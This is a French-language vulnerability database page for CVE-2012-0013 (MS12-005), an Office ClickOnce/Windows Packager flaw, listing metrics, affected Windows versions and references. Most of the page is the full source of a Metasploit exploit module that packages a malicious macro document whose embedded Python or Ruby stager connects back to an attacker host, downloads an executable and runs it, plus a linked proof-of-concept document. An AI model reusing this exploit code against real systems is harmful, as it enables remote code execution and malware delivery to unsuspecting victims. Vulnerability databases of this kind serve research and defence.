CVE-2012-0013 : Détail

CVE-2012-0013

87.48%V4
Network
2012-01-10
20h00 +00:00
2018-10-12
17h57 +00:00
CVE.org
NVD
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Descriptions du CVE

Incomplete blacklist vulnerability in the Windows Packager configuration in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2, R2, and R2 SP1, and Windows 7 Gold and SP1 allows remote attackers to execute arbitrary code via a crafted ClickOnce application in a Microsoft Office document, related to .application files, aka "Assembly Execution Vulnerability."

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 19037

Date de publication : 2012-06-10 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'rex/zip' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::EXE include Msf::Exploit::Remote::TcpServer def initialize(info={}) super(update_info(info, 'Name' => "MS12-005 Microsoft Office ClickOnce Unsafe Object Package Handling Vulnerability", 'Description' => %q{ This module exploits a vulnerability found in Microsoft Office's ClickOnce feature. When handling a Macro document, the application fails to recognize certain file extensions as dangerous executables, which can be used to bypass the warning message. This allows you to trick your victim into opening the malicious document, which will load up either a python or ruby payload based on your choosing, and then finally download and execute our executable. }, 'License' => MSF_LICENSE, 'Author' => [ 'Yorick Koster', #Vuln discovery 'sinn3r' #Metasploit ], 'References' => [ ['CVE', '2012-0013'], ['OSVDB', '78207'], ['MSB', 'ms12-005'], ['BID', '51284'], ['URL', 'http://support.microsoft.com/default.aspx?scid=kb;EN-US;2584146'], ['URL', 'http://exploitshop.wordpress.com/2012/01/14/ms12-005-embedded-object-package-allow-arbitrary-code-execution/'] ], 'Payload' => { 'BadChars' => "\x00" }, 'DefaultOptions' => { 'ExitFunction' => "none", 'DisablePayloadHandler' => 'false' }, 'Platform' => 'win', 'Targets' => [ ['Microsoft Office Word 2007/2010 on Windows 7', {}], ], 'Privileged' => false, 'DisclosureDate' => "Jan 10 2012", 'DefaultTarget' => 0)) register_options( [ OptEnum.new('PAYLOAD_TYPE', [true, "The initial payload type", 'PYTHON', %w(RUBY PYTHON)]), OptString.new("BODY", [false, 'The message for the document body', '']), OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm']) ], self.class) end # # Return the first-stage payload that will download our malicious executable. # def get_download_exec_payload(type, lhost, lport) payload_name = Rex::Text.rand_text_alpha(7) # Padd up 6 null bytes so the first few characters won't get cut off p = "\x00"*6 case type when :rb p << %Q| require 'socket' require 'tempfile' begin cli = TCPSocket.open("#{lhost}",#{lport}) buf = '' while l = cli.gets buf << l end cli.close tmp = Tempfile.new(['#{payload_name}','.exe']) t = tmp.path tmp.binmode tmp.write(buf) tmp.close exec(t) rescue end#| when :py p << %Q| import socket import tempfile import os s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("#{lhost}", #{lport})) buf = "" while True: data = s.recv(1024) if data: buf += data else: break s.close temp = tempfile.gettempdir() + "\\\\\\" + "#{payload_name}.exe" f = open(temp, "wb") f.write(buf) f.close f = None os.system(temp) #| end p = p.gsub(/^\t\t\t/, '') return p end # # Reads a file that'll be packaged. # This will patch certain files on the fly, or return the original content of the file. # def on_file_read(fname, file) f = open(file, 'rb') buf = f.read f.close # Modify certain files on the fly case file when /oleObject1\.bin/ # Patch the OLE object file with our payload print_status("Patching OLE object") ptype = datastore['PAYLOAD_TYPE'] == 'PYTHON' ? :py : :rb p = get_download_exec_payload(ptype, @ip, @port) buf = buf.gsub(/MYPAYLOAD/, p) # Patch username username = Rex::Text.rand_text_alpha(5) buf = buf.gsub(/METASPLOIT/, username) buf = buf.gsub(/#{Rex::Text.to_unicode("METASPLOIT")}/, Rex::Text.to_unicode(username)) # Patch the filename f = Rex::Text.rand_text_alpha(6) buf = buf.gsub(/MYFILENAME/, f) buf = buf.gsub(/#{Rex::Text.to_unicode("MYFILENAME")}/, Rex::Text.to_unicode(f)) # Patch the extension name ext = ptype.to_s buf = buf.gsub(/MYEXT/, ext) buf = buf.gsub(/#{Rex::Text.to_unicode("MYEXT")}/, Rex::Text.to_unicode(ext)) when /document\.xml/ print_status("Patching document body") # Patch the docx body buf = buf.gsub(/W00TW00T/, datastore['BODY']) end # The original filename of __rels is actually ".rels". # But for some reason if that's our original filename, it won't be included # in the archive. So this hacks around that. case fname when /__rels/ fname = fname.gsub(/\_\_rels/, '.rels') end yield fname, buf end # # Packages the Office Macro Document # def package_docm_rex(path) zip = Rex::Zip::Archive.new Dir["#{path}/**/**"].each do |file| p = file.sub(path+'/','') if File.directory?(file) print_status("Packging directory: #{file}") zip.add_file(p) else on_file_read(p, file) do |fname, buf| print_status("Packaging file: #{fname}") zip.add_file(fname, buf) end end end zip.pack end # # Return the malicious executable # def on_client_connect(cli) print_status("#{cli.peerhost}:#{cli.peerport} - Sending executable (#{@exe.length.to_s} bytes)") cli.put(@exe) service.close_client(cli) end def exploit @ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'] @port = datastore['SRVPORT'] print_status("Generating our docm file...") path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2012-0013') docm = package_docm_rex(path) file_create(docm) print_good("Let your victim open #{datastore['FILENAME']}") print_status("Generating our malicious executable...") @exe = generate_payload_exe print_status("Ready to deliver your payload on #{@ip}:#{@port.to_s}") super end end =begin mbp:win7_diff sinn3r$ diff patch/GetCurrentIcon.c vuln/GetCurrentIcon.c 1c1 < void *__thiscall CPackage::_GetCurrentIcon(void *this, int a2) --- > const WCHAR *__thiscall CPackage::_GetCurrentIcon(void *this, int a2) ... 24c24 < if ( AssocIsDangerous(result) || !SHGetFileInfoW(pszPath, 0x80u, &psfi, 0x2B4u, 0x110u) ) --- > if ( IsProgIDInList(0, result, extList, 0x11u) || !SHGetFileInfoW(pszPath, 0x80u, &psfi, 0x2B4u, 0x110u) ) 31c31 =end
Exploit Database EDB-ID : 18372

Date de publication : 2012-01-13 23h00 +00:00
Auteur : Byoungyoung Lee
EDB Vérifié : No

# Exploit Title: MS12-005 : Microsoft Windows Assembly Execution Vulnerability # Date: 1/14/2012 # Author: Byoungyoung Lee, http://exploitshop.wordpress.com # Version: Windows 7 32bit, fully patched until Jan 2012 # Tested on: Windows 7 32bit # CVE : CVE-2012-0013 PoC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18372.docm Open the document file, then allow the macro execution. This will execute python script (python interpreters are required). DEMO : http://www.youtube.com/watch?v=Odi6HiqzmL8&feature=youtu.be&hd=1

Products Mentioned

Configuraton 0

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_server_2003 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_xp >> Version *

    Microsoft>>Windows_xp >> Version *

    Références

    http://www.securityfocus.com/bid/51284
    Tags : vdb-entry, x_refsource_BID
    http://www.us-cert.gov/cas/techalerts/TA12-010A.html
    Tags : third-party-advisory, x_refsource_CERT
    http://secunia.com/advisories/47480
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://www.securitytracker.com/id?1026497
    Tags : vdb-entry, x_refsource_SECTRACK